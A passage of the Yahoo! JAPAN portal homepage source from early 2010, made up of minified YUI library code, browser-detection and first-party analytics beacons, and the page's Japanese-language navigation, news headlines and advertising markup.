i){if(f.hasOwnProperty(i,k)){h.prototype[k]=i[k]}}f._IEEnumFix(h.prototype,i)}},augmentObject:function(h,i){if(!i||!h){throw new Error(\"Absorb failed, verify dependencies.\")}var l=arguments,j,g,k=l[2];if(k&&k!==true){for(j=2;j<l.length;j=j+1){h[l[j]]=i[l[j]]}}else{for(g in i){if(k||!(g in h)){h[g]=i[g]}}f._IEEnumFix(h,i)}},augmentProto:function(g,h){if(!h||!g){throw new Error(\"Augment failed, verify dependencies.\")}var j=[g.prototype,h.prototype],i;for(i=2;i<arguments.length;i=i+1){j.push(arguments[i])}f.augmentObject.apply(this,j)},dump:function(o,j){var m,k,h=[],g=\"{...}\",n=\"f(){...}\",i=\", \",l=\" => \";if(!f.isObject(o)){return o+\"\"}else{if(o instanceof Date||(\"nodeType\" in o&&\"tagName\" in o)){return o}else{if(f.isFunction(o)){return n}}}j=(f.isNumber(j))?j:3;if(f.isArray(o)){h.push(\"[\");for(m=0,k=o.length;m<k;m=m+1){if(f.isObject(o[m])){h.push((j>0)?f.dump(o[m],j-1):g)}else{h.push(o[m])}h.push(i)}if(h.length>1){h.pop()}h.push(\"]\")}else{h.push(\"{\");for(m in o){if(f.hasOwnProperty(o,m)){h.push(m+l);if(f.isObject(o[m])){h.push((j>0)?f.dump(o[m],j-1):g)}else{h.push(o[m])}h.push(i)}}if(h.length>1){h.pop()}h.push(\"}\")}return h.join(\"\")},substitute:function(g,u,n){var q,r,s,k,j,h,l=[],t,p=\"dump\",m=\" \",v=\"{\",i=\"}\",o;for(;;){q=g.lastIndexOf(v);if(q<0){break}r=g.indexOf(i,q);if(q+1>=r){break}t=g.substring(q+1,r);k=t;h=null;s=k.indexOf(m);if(s>-1){h=k.substring(s+1);k=k.substring(0,s)}j=u[k];if(n){j=n(k,j,h)}if(f.isObject(j)){if(f.isArray(j)){j=f.dump(j,parseInt(h,10))}else{h=h||\"\";o=h.indexOf(p);if(o>-1){h=h.substring(4)}if(j.toString===a.toString||o>-1){j=f.dump(j,parseInt(h,10))}else{j=j.toString()}}}else{if(!f.isString(j)&&!f.isNumber(j)){j=\"~-\"+l.length+\"-~\";l[l.length]=t}}g=g.substring(0,q)+j+g.substring(r+1)}for(q=l.length-1;q>=0;q=q-1){g=g.replace(new RegExp(\"~-\"+q+\"-~\"),\"{\"+l[q]+\"}\",\"g\")}return g},trim:function(h){try{return h.replace(/^\\s+|\\s+$/g,\"\")}catch(g){return h}},merge:function(){var g={},i=arguments,j=i.length,h;for(h=0;h<j;h=h+1){f.augmentObject(g,i[h],true)}return g},later:function(h,n,g,l,k){h=h||0;n=n||{};var m=g,i=l,j,o;if(f.isString(g)){m=n[g]}if(!m){throw new TypeError(\"method undefined\")}if(!f.isArray(i)){i=[l]}j=function(){m.apply(n,i)};o=(k)?setInterval(j,h):setTimeout(j,h);return{interval:k,cancel:function(){if(this.interval){clearInterval(o)}else{clearTimeout(o)}}}},isValue:function(g){return(f.isObject(g)||f.isString(g)||f.isNumber(g)||f.isBoolean(g))}};f.hasOwnProperty=(a.hasOwnProperty)?function(h,g){return h&&h.hasOwnProperty(g)}:function(h,g){return !f.isUndefined(h[g])&&h.constructor.prototype[g]!==h[g]};d.augmentObject(f,d,true);YAHOO.util.Lang=f;f.augment=f.augmentProto;YAHOO.augment=f.augmentProto;YAHOO.extend=f.extend})();YAHOO.register(\"yahoo\",YAHOO,{version:\"2.7.0\",build:\"1799\"});function err(f,e,h){var g=new Image;g.src=\"http://b.www.yahoo.co.jp/p.gif?ver=\"+ver+\"&error=\"+escape(f)+\",\"+escape(e)+\",\"+escape(h);return true}window.onerror=err;String.prototype.rot13=function(){return this.replace(/[a-zA-Z]/g,function(a){return String.fromCharCode((a<=\"Z\"?90:122)>=(a=a.charCodeAt(0)+13)?a:a-26)})};YAHOO.namespace(\"Fp\");YAHOO.namespace(\"Fd\");YAHOO.Fp.beacon=function(a){var b=new Image();b.src=\"http://b.www.yahoo.co.jp/p.gif?t=\"+new Date().getTime()+\"&\"+a;setTimeout(function(){b=null},10000)};YAHOO.Fd.stripChunk=function(a){var b=a.lastIndexOf(\"!--\");if(b<0){return a}return a.substring(0,(b-1))};var d=document;var $=function(a){return(typeof(a)==\"string\")?d.getElementById(a):false};\nYAHOO.Fp._ie=YAHOO.Fp._ie8=YAHOO.Fp._ie7=YAHOO.Fp._ie55=0;\nYAHOO.Fp._ff=1;\nYAHOO.Fp._ffv=parseFloat(\"3.5.5\",10);\nYAHOO.Fp._ns=0;\nYAHOO.Fp._nsv=parseFloat(\"0\",10);\nYAHOO.Fp._sf=0;\nYAHOO.Fp._sfv=parseFloat(\"0\",10);\nYAHOO.Fp._op=0;\nYAHOO.Fp._mac=1;\nYAHOO.Fp._hostname=location.hostname;\nYAHOO.Fp._basetag=document.getElementsByTagName('base')[0].href;\nYAHOO.Fp._bcrumb=\"\";\nYAHOO.Fp._plcookie=0;\nYAHOO.Fp._jis=\"\";\nYAHOO.Fp._jpadmin1=\"\";\nYAHOO.Fp._jpadmin2=\"\";\nYAHOO.Fp._jpadmin3=\"\";\nYAHOO.Fp._jpadmin4=\"\";\nYAHOO.Fp._jpadmin5=\"\";\nYAHOO.Fp._ulmCrumb=\"7bc6357d41e59e084615557845e461de,1263267180\";\nYAHOO.Fp._crumb=\"d41d8cd98f00b204e9800998ecf8427e\";\nYAHOO.Fp._hp=false ;\nYAHOO.Fp._earth=false;\nYAHOO.Fp._fortune_json='{aries:69,taurus:93,gemini:53,cancer:77,leo:65,virgo:89,libra:60,scorpio:84,sagittarius:72,capricorn:96,aquarius:68,pisces:80}';\n//--></script>\n<!--[if lt IE 6]><script type=\"text/javascript\">YAHOO.Fp._ie55=1;</script><![endif]-->\n<!--[if IE]><script type=\"text/javascript\">YAHOO.Fp._ie=1;</script><![endif]-->\n<!--[if IE 7]><script type=\"text/javascript\">YAHOO.Fp._ie7=1;</script><![endif]-->\n\n<!--[if IE 8]><script type=\"text/javascript\">YAHOO.Fp._ie8=1;</script><![endif]-->\n<script type=\"text/javascript\" src=\"/javascript/fp_base_bd_ga_4.2.7.js\"></script>\n<link href=\"http://k.yimg.jp/images/top/sp2/clr/1/clr-091118.css\" rel=\"stylesheet\" type=\"text/css\"></head>\n<body>\n<div id=\"wrapper\">\n<div id=\"header\">\n<div id=\"masthead\"  >\n<h1><a href=r/mlg><img src=\"http://k.yimg.jp/images/top/sp/logo.gif\" alt=\"Yahoo! JAPAN\" height=\"59\" width=\"221\"></a></h1>\n<ul id=\"mhicon\">\n<li id=\"mhi1st\"><a title=\"Yahoo! BB\" href=\"r/mbb\">Yahoo! BB</a></li>\n<li id=\"mhi2nd\"><a title=\"オークション\" href=\"r/mauc\">オークション</a></li>\n<li id=\"mhi3rd\"><a title=\"My Yahoo!\" href=\"r/mmy\">My Yahoo!</a></li>\n<li id=\"mhi4th\"><a title=\"ツールバー\" href=\"r/mtb\">ツールバー</a></li>\n\n<li id=\"mhi5th\"><a title=\"ケータイ\" href=\"r/mmb\">ケータイ</a></li>\n<li id=\"mhi6th\"><a title=\"きっず\" href=\"r/mkid\">Yahoo! きっず</a></li>\n</ul>\n<ul id=\"siteinfo\">\n<li><a href=\"r/mcfp\">カテゴリ一覧</a></li>\n<li><a href=\"r/msb\">サイトの登録</a></li>\n<li><a href=\"r/myid\">無料ID活用</a></li>\n</ul>\n<div id=\"changeMode\"><a href=\"edit.html?copt4=1&\" title=\"オフィス版\">オフィス版</a></div>\n</div>\n<div id=\"emg\">\n\n<!-- SpaceID=2077296265 loc=EMG3 noad-spid -->\n<!-- SpaceID=2077296265 loc=EMG2 noad-spid -->\n<!-- SpaceID=2077296265 loc=EMG noad -->\n</div>\n<div id=\"searchbox\"><div id=\"srchb\">\n<form action=\"http://search.yahoo.co.jp/search\" name=\"sf1\" method=\"get\">\n<fieldset>\n<legend>Yahoo!検索</legend>\n<div id=\"srchbd\">\n<ul class=\"tab\"><li class=\"tab0 first on\"><span><a href=\"r/swes\" id=\"search\" hidefocus=\"true\">ウェブ</a></span></li><li class=\"tab1\"><span><a href=\"r/sdis\" id=\"tsearch\" hidefocus=\"true\">登録サイト</a></span></li><li class=\"tab2\"><span><a href=\"r/sims\" id=\"isearch\" hidefocus=\"true\">画像</a></span></li><li class=\"tab3\"><span><a href=\"r/svis\" id=\"msearch\" hidefocus=\"true\">動画</a></span></li><li class=\"tab4\"><span><a href=\"r/sbls\" id=\"bsearch\" hidefocus=\"true\">ブログ</a></span></li><li class=\"tab5\"><span><a href=\"r/sdics\" id=\"dsearch\" hidefocus=\"true\">辞書</a></span></li><li class=\"tab6\"><span><a href=\"r/schs\" id=\"ksearch\" hidefocus=\"true\">知恵袋</a></span></li><li class=\"tab7\"><span><a href=\"r/smas\" id=\"csearch\" hidefocus=\"true\">地図</a></span></li><li class=\"tab8\"><span><a href=\"r/sprs\" id=\"psearch\" hidefocus=\"true\">商品</a></span></li></ul>\n\n<p><label id=\"srchtxtBg\"><input name=\"p\" id=\"srchtxt\" type=\"text\" value=\"\"></label><input type=\"submit\" id=\"srchbtn\" value=\"検索\"></p>\n<div id=\"srchAssist\">\n<div id=\"srchAssistBd\" style=\"display:none;\">\n<p id=\"srchAssistTxt\">キーワードが入力されていません。</p>\n<dl class=\"bgC3\" id=\"srchAssistOnOff\"><dt>キーワード入力補助</dt><dd class=\"first\">ON</dd><dd><a href=\"edit.html?copt2=1&\">OFF</a></dd></dl>\n</div>\n<div id=\"srchAssistClose\" title=\"キーワード入力補助を開く\"><div id=\"srchacb\"><span>キーワード入力補助を開く</span></div></div>\n</div>\n</div>\n<script type=\"text/javascript\"><!--\nYUE.addListener( document,  \"keydown\", YAHOO.Fp.KeyAction );\nYUE.addListener( 'srchtxt', \"keydown\", function(e){if(e.keyCode == 38 || e.keyCode == 40 ) YAHOO.Fp.SearchAssist(e);} );\nYUE.addListener( 'srchtxt', \"keyup\",   function(e){if(e.keyCode != 38 && e.keyCode != 40 ) YAHOO.Fp.SearchAssist(e);} );\nYUE.addListener( 'srchAssistClose', \"click\", function(e){YAHOO.Fp.fToggleSearchAssist(e);} );\n$('srchtxt').setAttribute(\"autocomplete\", \"off\");\n//--></script>\n<input name=\"search.x\" id=\"search.x\" value=\"1\" type=\"hidden\"><input name=\"fr\" id=\"fr\" value=\"top_ga1_sa\" type=\"hidden\"><input name=\"tid\" id=\"tid\" value=\"top_ga1_sa\" type=\"hidden\"><input name=\"ei\" id=\"ei\" value=\"UTF-8\" type=\"hidden\"><input name=\"aq\" id=\"aq\" value=\"\" type=\"hidden\"><input name=\"oq\" id=\"oq\" value=\"\" type=\"hidden\">\n\n</fieldset>\n</form>\n</div></div>\n<div id=\"hdBar\">\n<div id=\"uhd\">\n<div id=\"uhdsetstart\"><a href=\"r/set\" title=\"このページをスタートページに設定する\"><span>[ホームページ設定]</span>いつもこのページからインターネットを始める</a></div>\n<script type=\"text/javascript\"><!--\nYAHOO.Fp.hm=document.getElementById('uhdsetstart');\n//--></script>\n<script type=\"text/javascript\"><!--\nif(!YAHOO.cookie.get('CP') && (YAHOO.Fp._ff && YAHOO.Fp._ffv >= 2)){\n\tYAHOO.Fp.hm.innerHTML = '<a href=\"r/header/toolbarpromo/*-http://rd.yahoo.co.jp/toppage/header/evt=78646/?http://toolbar.yahoo.co.jp/\" title=\"ツールバーを今すぐダウンロード！\" id=\"uhdsetstartPromo\">ツールバーを今すぐダウンロード！</a>';\n} else {\n\tYAHOO.Fp.hm.innerHTML = \"\";\n}\n//--></script>\n<div id=\"uhdassist\">\n<ul id=\"clr\">\n<li id=\"clr1\"><a class=\"on\" href=\"r/header/color/1/*-http://www.yahoo.co.jp/edit.html?color=1&\">ブルー</a></li>\n<li id=\"clr2\"><a  href=\"r/header/color/2/*-http://www.yahoo.co.jp/edit.html?color=2&\">ピンク</a></li>\n\n<li id=\"clr3\"><a  href=\"r/header/color/3/*-http://www.yahoo.co.jp/edit.html?color=3&\">オレンジ</a></li>\n<li id=\"clr4\"><a  href=\"r/header/color/4/*-http://www.yahoo.co.jp/edit.html?color=4&\">グリーン</a></li>\n<li id=\"clr5\"><a  href=\"r/header/color/5/*-http://www.yahoo.co.jp/edit.html?color=5&\">シルバー</a></li>\n<li id=\"clr6\"><a  href=\"r/header/color/6/*-http://www.yahoo.co.jp/edit.html?color=6&\">クラシック</a></li>\n</ul><p class=\"help\"><a href=\"r/mht\">ヘルプ</a></p></div>\n</div>\n</div>\n</div>\n<hr class=\"separate\">\n<div id=\"contents\">\n\n<div id=\"toptxt\">\n\n<ul class=\"symbol\"><li id=\"toptxt1\" class=\"first\"><a href=s/54249>ザ・ビートルズ診断であなたのタイプ判明</a></li><li id=\"toptxt2\"><a href=s/54270>あなたのランクは？　お買い物ならスタークラブ</a></li><li id=\"toptxt3\"><a href=s/54250>WiiやPSPが、ADSLとセットで無料に</a><span class=\"iconNew\" title=\"[new]\">[new]</span></li></ul>\n</div>\n\n<div id=\"navi\">\n<div id=\"contentbox\" class=\"bx\">\n<div id=\"yahooservice\" class=\"changepos\">\n<div class=\"hd\">\n<div class=\"cbbtn\">\n<a title=\"下へ移動\" class=\"cbimg\" id=\"cbbtntop\" href=\"edit.html?copt1=1&\">下へ移動</a>\n</div>\n<span id=\"cbassistall\" class=\"assist\"><a href=\"r/lst\">一覧</a></span>\n\n<h2><a href=\"r/lst\">Yahoo!サービス</a></h2></div><ul><li><a href=\"r/c1\" class=\"cbysC1\">ショッピング</a></li><li><a href=\"r/c2\" class=\"cbysC2\">オークション</a></li><li><a href=\"r/c5\" class=\"cbysC5\">旅行、出張</a></li><li><a href=\"r/c12\" class=\"cbysC12\">ニュース</a></li><li><a href=\"r/c13\" class=\"cbysC13\">天気</a></li><li><a href=\"r/c14\" class=\"cbysC14\">スポーツ</a></li><li><a href=\"r/c15\" class=\"cbysC15\">ファイナンス</a></li><li><a href=\"r/c25\" class=\"cbysC25\">テレビ</a></li><li><a href=\"r/c26\" class=\"cbysC26\">GyaO!</a></li><li><a href=\"r/c33\" class=\"cbysC33\">地図</a></li><li><a href=\"r/c34\" class=\"cbysC34\">路線</a></li><li><a href=\"r/c41\" class=\"cbysC41\">グルメ</a></li><li><a href=\"r/c73\" class=\"cbysC73\">求人</a></li><li><a href=\"r/c48\" class=\"cbysC48\">不動産</a></li><li><a href=\"r/c37\" class=\"cbysC37\">自動車</a></li><li><a href=\"r/c53\" class=\"cbysC53\">掲示板</a></li><li><a href=\"r/c57\" class=\"cbysC57\">ブログ</a></li><li><a href=\"r/c46\" class=\"cbysC46\">服、ビューティー</a></li><li><a href=\"r/c44\" class=\"cbysC44\">出会い</a></li></ul></div><div id=\"favoriteservice\" class=\"changepos\">\n\n<div class=\"hd\">\n<div class=\"cbbtn\">\n<a title=\"上へ移動\" class=\"cbimg\" id=\"cbbtnbtm\" href=\"edit.html?copt1=1&\">上へ移動</a>\n</div>\n<span id=\"cbassistedit\" class=\"assist\"><a href=\"r/lst\">変更</a></span>\n<h2>お気に入り</h2></div><ul><li><a href=\"r/cf17\" style=\"background-image:url(http://k.yimg.jp/images/sicons/movie16.gif);\">映画</a></li><li><a href=\"r/cf18\" style=\"background-image:url(http://k.yimg.jp/images/sicons/music16.gif);\">音楽</a></li><li><a href=\"r/cf20\" style=\"background-image:url(http://k.yimg.jp/images/sicons/game16.gif);\">ゲーム</a></li><li><a href=\"r/cf21\" style=\"background-image:url(http://k.yimg.jp/images/sicons/fortune16.gif);\">占い</a></li><li><a href=\"r/cf26\" style=\"background-image:url(http://k.yimg.jp/images/sicons/gyao16.gif);\">GyaO!</a></li></ul></div><div id=\"pickupservice\"><div class=\"hd\"><h2>ピックアップ</h2></div><ul><li><a style=\"background-image: url(http://k.yimg.jp/images/sicons/avata16.gif);\" href=\"r/cp55\">アバター</a><span class=\"iconNew\" title=\"[new]\">[new]</span></li></ul></div></div>\n\n<div id=\"csr\" class=\"bx\">\n<div class=\"hd\">\n<h2>社会的な取り組み</h2>\n</div>\n<ul>\n<li><a href=s/46390>無料の有害サイトフィルタ</a></li>\n<li><a href=s/54264>世界の森を守るために</a></li>\n</ul>\n</div>\n<div id=\"companybox\" class=\"bx\">\n<div id=\"cmprikunabi\" class=\"first\">\n<h2><a href=\"r/lrn\">求人</a></h2>\n<ul>\n\n<li class=\"first\"><a href=\"r/lnxt\">転職</a></li>\n<li><a href=\"r/labt\">アルバイト</a></li>\n<li><a href=\"r/lhkn\">派遣</a></li>\n</ul>\n<p><a href=s/48856>大学生必見の就職活動情報</a></p>\n</div>\n\n<div id=\"cmpbb\">\n<h2><a href=\"r/lbb\">Yahoo! BB</a></h2>\n<ul><li><a href=s/54261>安い！　8Mが1,707円</a></li><li><a href=s/54262>フレッツ光最大6か月0円</a></li></ul>\n\n</div>\n<div id=\"cmpmobile\">\n<h2><a href=\"r/lyk\">Yahoo!ケータイ</a></h2>\n<ul>\n<li><a href=s/54263>最新 VIERAケータイ</a></li>\n</ul>\n</div>\n<div id=\"cmpbiz\" class=\"last\">\n<h2><a href=\"r/lbz\">ビジネスで活用するなら</a></h2>\n<ul><li><a href=s/38667>3,000円からネット広告</a></li><li><a href=s/54054>今年はネットでお店を開く</a></li><li><a href=s/44528>0円で飲食店を掲載！</a></li><li><a href=s/51180>カテゴリ登録で集客アップ</a></li></ul>\n\n</div>\n</div>\n<div id=\"composite\">\n<ul>\n<li><a href=\"r/lgbnp\" id=\"cmpOlym\" title=\"バンクーバー日本選手団にエールを送ろう！\">バンクーバー日本選手団にエールを送ろう！</a></li>\n<li><a href=\"r/lelc\" id=\"cmpElc\" title=\"意見広告 選挙をもっとネットで\">意見広告 選挙をもっとネットで</a></li>\n<li><a href=\"r/lie8\" id=\"cmpIE8\" title=\"より速く。より便利に。Internet Explorer8 for Yahoo! JAPAN\">より速く。より便利に。Internet Explorer8 for Yahoo! JAPAN</a></li>\n<li><a href=\"r/lsl\"  id=\"cmpSl\" title=\"Silverlightで高画質動画を楽しもう！\">Silverlightで高画質動画を楽しもう！</a></li>\n</ul> \n</div>\n</div>\n<hr class=\"separate\">\n<div id=\"division\">\n\n<div id=\"main\">\n<div id=\"topicsbox\" class=\"bx\">\n<div class=\"hd\">\n<ul class=\"tab on0\">\n<li class=\"tab0 on\"><span><a id=\"topics\" href=\"r/ttp\" hidefocus=\"true\">トピックス</a></span></li>\n<li class=\"tab1\"><span><a id=\"economy\" href=\"r/teco\" hidefocus=\"true\">経済</a></span></li>\n<li class=\"tab2\"><span><a id=\"entertainment\" href=\"r/tent\" hidefocus=\"true\">エンタメ</a></span></li>\n<li class=\"tab3\"><span><a id=\"sports\" href=\"r/tspo\" hidefocus=\"true\">スポーツ</a></span></li>\n<li class=\"tab4 last\"><span><a id=\"others\" href=\"r/toth\" hidefocus=\"true\">その他</a></span></li>\n</ul>\n</div>\n<div id=\"topicsboxbd\">\n\n<div id=\"topicsfb\" class=\"current\"><div class=\"topicsindex\"><em>12時31分更新</em><ul class=\"emphasis\"><li><a href=\"f/topics/top/1/*-http://dailynews.yahoo.co.jp/fc/economy/japan_air_line/?1263260393\">日航株ストップ安 売買不成立</a><span class=\"iconPhoto\" title=\"[photo]\">[photo]</span></li><li><a href=\"f/topics/top/2/*-http://dailynews.yahoo.co.jp/fc/domestic/rikuzankai/?1263265009\">小沢氏の問題言及せず 首相</a><span class=\"iconPhoto\" title=\"[photo]\">[photo]</span></li><li><a href=\"f/topics/top/3/*-http://dailynews.yahoo.co.jp/fc/domestic/weather/?1263257382\">低気圧発達 西日本で大雪恐れ</a><span class=\"iconPhoto\" title=\"[photo]\">[photo]</span></li><li><a href=\"f/topics/top/4/*-http://dailynews.yahoo.co.jp/fc/domestic/shipwreck/?1263253429\">漁船不明 無人救命いかだ発見</a><span class=\"iconPhoto\" title=\"[photo]\">[photo]</span></li><li><a href=\"f/topics/top/5/*-http://dailynews.yahoo.co.jp/fc/domestic/drunk_driving/?1263267077\">飲酒隠し? 警官の前でビール</a><span class=\"iconNew\" title=\"[new]\">[new]</span></li><li><a href=\"f/topics/top/6/*-http://dailynews.yahoo.co.jp/fc/sports/ogushio/?1263260393\">小椋久美子が現役引退を表明</a><span class=\"iconPhoto\" title=\"[photo]\">[photo]</span></li><li><a href=\"f/topics/top/7/*-http://dailynews.yahoo.co.jp/fc/sports/horse_racing/?1263263670\">落馬原因の皇成「申し訳ない」</a><span class=\"iconPhoto\" title=\"[photo]\">[photo]</span></li><li><a href=\"f/topics/top/8/*-http://dailynews.yahoo.co.jp/fc/entertainment/ratings/?1263265522\">「コード・ブルー」初回は18.8%</a><span class=\"iconPhoto\" title=\"[photo]\">[photo]</span></li></ul><ul class=\"more\"><li class=\"first\"><a href=\"f/topics/top/11/*-http://backnumber.dailynews.yahoo.co.jp/?t=d&d=20100112&c=top\">今日の話題（13件）</a></li><li><a href=\"r/ttl\">一覧</a></li></ul></div><div class=\"topicscatch\"><div class=\"topicsdetail\"><div class=\"topicsimg\"><a href=\"f/topics/top/9/*-http://dailynews.yahoo.co.jp/photograph/pickup/?1263265255\" id=\"tpcsimgfilter\" class=\"imgfilter\" style=\"background-image:url(http://news.c.yimg.jp/images/topics/20100112-00000011-jijp-int-view-000-small.jpg);width:120px;height:80px;\" title=\"たこの腕競う\">たこの腕競う</a></div><p> <a href=\"f/topics/top/10/*-http://dailynews.yahoo.co.jp/photograph/pickup/?1263265255\">たこの腕競う</a></p><em>1月12日10時48分配信</em><cite>AFP＝時事</cite></div></div></div>\n\n<div id=\"economyfb\"></div>\n<div id=\"entertainmentfb\"></div>\n<div id=\"sportsfb\"></div>\n<div id=\"othersfb\"></div>\n</div>\n</div>\n<script type=\"text/javascript\"><!--\nvar topicsTabs=new YAHOO.Fp.tabs(\"topicsbox\");topicsTabs.changeAction(YAHOO.Fp.loadPanel,{type:\"tabs\",module:\"topicsbox\",load:\"story\"});topicsTabs.setupTabs();YAHOO.Fp.selectTab=function(b,a){b=b.rot13();b=YAHOO.cookie.getsub(\"YJTM\",b);if(b!=\"\"){setTimeout(function(){a.tabAction(0,a,d.getElementById(b.rot13()))},10)}};if(YAHOO.cookie.get(\"YJTM\").indexOf(YAHOO.Fp._crumb)!==-1){YAHOO.Fp.selectTab(\"topicsbox\",topicsTabs)};\n--></script><div id=\"topicsInfo\" class=\"bx bxEx bxSl bgC2\">\n<h2>インフルエンザ情報</h2>\n<ul><li><a href=s/49252>ワクチンに関する情報ほか最新ニュース</a></li></ul>\n</div>\n<div id=\"election\" class=\"bx bxSl\">\n<h2>意見広告</h2>\n<ul><li><a href=s/54004>いつまでも、古い選挙でいいですか？</a></li></ul>\n\n</div>\n<!-- SpaceID=2077296265 loc=TCBX noad-spid -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['983YAXxTsG0-']='&U=128f93ag7%2fN%3d983YAXxTsG0-%2fC%3d-2%2fD%3dTCBX%2fB%3d-2';\n</script><noscript><div style=\"position:absolute;\"><img width=1 height=1 alt=\"\" src=\"http://b3.yahoo.co.jp/b?P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=143g6igsn%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d3075860448%2fQ%3d-1%2fS%3d1%2fJ%3dB68A537C&U=128f93ag7%2fN%3d983YAXxTsG0-%2fC%3d-2%2fD%3dTCBX%2fB%3d-2\"></div></noscript><div id=\"spotlight\" class=\"bx\">\n<div id=\"spotlightct\">\n<div style=\"display: block;\" id=\"spotlight_mainfb\"><div id=\"splsentence\">\n<h2>あこがれの街に暮らす自分<br>さあ、想像してみてください</h2>\n<p class=\"lead\">たった一度の人生だから、せっかく住むなら住みたい街に。大好きな街で暮らせば、仕事も遊びももっと楽しい。</p>\n</div>\n<div id=\"splimg\"><a style=\"background-image: url(http://k.yimg.jp/images/top/sp2/spotlight/2010/0112c.jpg);\" class=\"imgfilter\" id=\"splimgfilter\" href=\"t/2322m0\">住まいのどっち！</a>\n<p><a href=\"t/2322m9\">買う、借りる、どっち？</a></p></div>\n\n<ul class=\"symbol\">\n<li class=\"first\"><a href=\"t/2322m1\">都心に自分の城を持ちたい</a></li>\n<li><a href=\"t/2322m2\">全国、人気の駅ランキング</a></li>\n<li><a href=\"t/2322m3\">住まいの選択3つのポイント</a></li>\n<li><a href=\"t/2322m4\">住みたいサービスマンション</a></li>\n<li><a href=\"t/2322m5\">コレがある街はカンベン!?</a></li>\n<li><a href=\"t/2322m6\">NON STYLEのお部屋探索</a></li>\n<li><a href=\"t/2322m7\">住みたい街、住みたくない街</a></li>\n<li><a href=\"t/2322m8\">あの“住みたい街”が変わる</a></li>\n\n</ul></div>\n<div id=\"spotlight_bn1fb\" style=\"display: none;\"></div>\n<div id=\"spotlight_bn2fb\" style=\"display: none;\"></div>\n<div id=\"spotlight_bn3fb\" style=\"display: none;\"></div>\n<div id=\"spotlight_bn4fb\" style=\"display: none;\"></div>\n<div id=\"spotlight_bn5fb\" style=\"display: none;\"></div>\n</div>\n<div id=\"splBkNum\" class=\"bkNum clfix\">\n<h3 style=\"display: none;\"><a href=\"#\" id=\"spotlight_main\">最新の記事を表示</a></h3>\n<dl class=\"on\"><dt>過去の記事</dt><dd class=\"tab\"><a href=\"#\" id=\"spotlight_bn1\" hidefocus=\"true\">1</a></dd><dd class=\"tab\"><a href=\"#\" id=\"spotlight_bn2\" hidefocus=\"true\">2</a></dd><dd class=\"tab\"><a href=\"#\" id=\"spotlight_bn3\" hidefocus=\"true\">3</a></dd><dd class=\"tab\"><a href=\"#\" id=\"spotlight_bn4\" hidefocus=\"true\">4</a></dd><dd class=\"tab\"><a href=\"#\" id=\"spotlight_bn5\" hidefocus=\"true\">5</a></dd></dl>\n\n</div>\n</div>\n<div id=\"event\" class=\"bx bxSl\">\n<h2>特集</h2>\n<ul><li><a href=\"f/eventbox/12632220002/*-http://nodame.yahoo.co.jp/index.html\">ついに完結「のだめカンタービレ」今後の展開は？</a></li><li class=\"more\"><a href=\"r/rev\">一覧</a></li></ul>\n</div><!-- SpaceID=2077296265 loc=TPM noad-spid -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['8s3YAXxTsG0-']='&U=127s7fn27%2fN%3d8s3YAXxTsG0-%2fC%3d-2%2fD%3dTPM%2fB%3d-2';\n</script><noscript><div style=\"position:absolute;\"><img width=1 height=1 alt=\"\" src=\"http://b3.yahoo.co.jp/b?P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=143gr19mo%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d2892840144%2fQ%3d-1%2fS%3d1%2fJ%3dB68A537C&U=127s7fn27%2fN%3d8s3YAXxTsG0-%2fC%3d-2%2fD%3dTPM%2fB%3d-2\"></div></noscript><div id=\"tct\" class=\"bx bxSl\">\n<h2>[PR]</h2>\n<ul><li><a href=\"http://ard.yahoo.co.jp/SIG=159vsrdra/M=300463584.301237582.302729324.301811783/D=jp_toppage/S=2077296265:TCT/Y=jp/EXP=1263274380/L=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R/B=783YAXxTsG0-/J=1263267180406688/A=301109748/SIG=11lq33mb9/R=0/*http://xbrand.yahoo.co.jp/category/travel/4267/\">誰にも教えたくない極上の温泉宿あります！[X BRAND]</a></li></ul>\n</div><script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['783YAXxTsG0-']='&U=13j00nmfo%2fN%3d783YAXxTsG0-%2fC%3d300463584.301237582.302729324.301811783%2fD%3dTCT%2fB%3d301109748';\n\n</script><noscript><div style=\"position:absolute;\"><img width=1 height=1 alt=\"\" src=\"http://b3.yahoo.co.jp/b?P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=143094qdo%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d3597741460%2fQ%3d-1%2fS%3d1%2fJ%3dB68A537C&U=13j00nmfo%2fN%3d783YAXxTsG0-%2fC%3d300463584.301237582.302729324.301811783%2fD%3dTCT%2fB%3d301109748\"></div></noscript><div id=\"selectionR\" class=\"bx\">\n<div class=\"hd\">\n<h2>おすすめセレクション</h2>\n<h3><a href=\"z/1119_1\">Yahoo!ショッピング</a></h3>\n</div>\n<div id=\"slcbd\" class=\"slctmpR11\">\n<div class=\"c4\">\n<div class=\"slcImg\"><a href=\"z/1119_2\">\n<img src=\"http://k.yimg.jp/images/sh/recommend/84_84_1905.gif\" alt=\"人気コスメ\" width=\"84\" height=\"84\"></a></div>\n<p><a href=\"z/1119_3\">人気コスメがセール！</a></p>\n</div>\n<div class=\"c4\">\n<div class=\"slcImg\"><a href=\"z/1119_4\">\n\n<img src=\"http://k.yimg.jp/images/sh/recommend/84_84_2613.gif\" alt=\"特価セール\" width=\"84\" height=\"84\"></a></div>\n<p><a href=\"z/1119_5\">現品限りの特価セールも</a></p>\n</div>\n<div class=\"c4\">\n<div class=\"slcImg\"><a href=\"z/1119_6\">\n<img src=\"http://k.yimg.jp/images/sh/recommend/84_84_2614.gif\" alt=\"乾燥肌ケア\" width=\"84\" height=\"84\"></a></div>\n<p><a href=\"z/1119_7\">乾燥肌ケアにこの商品</a></p>\n</div>\n<div class=\"c4\">\n<div class=\"slcImg\"><a href=\"z/1119_8\">\n<img src=\"http://k.yimg.jp/images/sh/recommend/84_84_2616.gif\" alt=\"香水\" width=\"84\" height=\"84\"></a></div>\n<p><a 